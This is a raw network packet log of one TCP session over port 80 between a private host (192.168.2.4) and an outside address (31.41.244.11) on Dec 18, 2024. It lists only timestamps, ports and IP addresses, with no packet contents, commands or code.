Dec 18, 2024 17:08:20.924741030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.924793959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.924845934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.926512957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.926644087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.926668882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.926729918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.928448915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.928495884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.928510904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.928555012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.930497885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.930547953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.930555105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.930593014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.932323933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.932373047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.932434082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.932473898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.934397936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.934456110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.934616089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.934659004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.936271906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.936317921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.936420918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.936464071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.938292980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.938353062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.938354015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.938406944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.940145969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.940196991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.940421104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.940466881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.942148924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.942198038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.942272902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.942312002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.944161892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.944211006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.944327116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.944369078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.946125031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.946173906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.946227074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.946269035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.948097944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.948147058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.948201895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.948240995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.950045109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.950102091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.950167894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.950218916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.952023029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.952075005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.952114105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.952157974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.954046011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.954090118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.954161882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.954202890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.955986023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.956042051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.956090927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.956132889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.958002090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.958051920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.958123922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.958167076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.960102081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.960149050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.960216045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.960258007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.961879969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.961929083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.962085962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.962129116 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.963859081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.963907957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.964001894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.964052916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.965853930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.965926886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.965974092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.967921019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.967986107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.968024015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.968065977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.969728947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.969784975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.969881058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.969926119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.971745014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.971807957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.971832037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.971874952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.973649025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.973706007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.973800898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.973855019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.975672007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.975733042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.975790024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.975836039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.977597952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.977649927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.977701902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.977742910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.979751110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.979801893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.979921103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.979964972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.981794119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.981849909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.981854916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.981900930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.983763933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.983828068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.983860016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.983900070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.985764980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.985825062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.985862970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.985954046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.987790108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.987859964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.987909079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.987953901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.989712000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.989772081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.989811897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.989866972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.991453886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.991508961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.991601944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.991641998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.993519068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.993581057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.993633986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.993674040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.995332003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.995387077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.995496988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.995537043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.997314930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.997371912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.997483015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.997533083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.999304056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.999367952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.999418974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.999475956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.001264095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.001322985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.001394987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.001441956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.003385067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.003442049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.003618002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.003659010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.005326986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.005376101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.005465984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.005506992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.007189989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.007240057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.007350922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.007400990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.009305000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.009392023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.009396076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.009435892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.011090994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.011142969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.011212111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.011254072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.013076067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.013122082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.013166904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.013207912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.015152931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.015207052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.015228033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.015295029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.105129957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.105214119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.105235100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.105287075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.105858088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.105906963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.105943918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.105986118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.107491970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.107554913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.107625961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.107667923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.108993053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.109040976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.109137058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.109183073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.110687971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.110738039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.110806942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.110853910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.112344027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.112399101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.112545967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.112590075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.114062071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.114110947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.114162922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.114211082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.115700960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.115747929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.115787983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.115845919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.117783070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.117835999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.117873907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.117916107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.118999004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.119049072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.119323015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.119379044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.120685101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.120712042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.120738029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.120763063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.122073889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.122124910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.122174025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.122217894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.123905897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.123970985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.123980045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.124017954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.125252962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.125305891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.125411034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.125456095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.126669884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.126724005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.126765013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.126807928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.128137112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.128212929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.128288984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.128334999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.129699945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.129750967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.129792929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.129832029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.131172895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.131226063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.131323099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.131377935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.132658958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.132714033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.132980108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.133024931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.134089947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.134140015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.134195089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.134243011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.135479927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.135536909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.135651112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.135695934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.136941910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.137059927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.137090921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.137109995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.138358116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.138403893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.138451099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.138490915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.139805079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.139853954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.139933109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.139972925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.141335011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.141390085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.141480923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.141530991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.142684937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.142735958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.142833948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.142896891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.144037962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.144092083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.144140959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.144192934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.145593882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.145627975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.145653009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.145679951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.146881104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.146976948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.146996021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.147021055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.148267031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.148324966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.148386002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.148428917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.149744034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.149797916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.149903059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.149950981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.151104927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.151154041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.151253939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.151303053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.152509928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.152564049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.152601004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.152642965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.153923035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.153970957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.154021025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.154064894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.155304909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.155365944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.155441046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.155488014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.156708956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.156761885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.156872988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.156924963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.158160925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.158209085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.158334017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.158380032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.159594059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.159642935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.159708977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.159754038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.160972118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.161027908 CET	49771	80	192.168.2.4	31.41.244.11
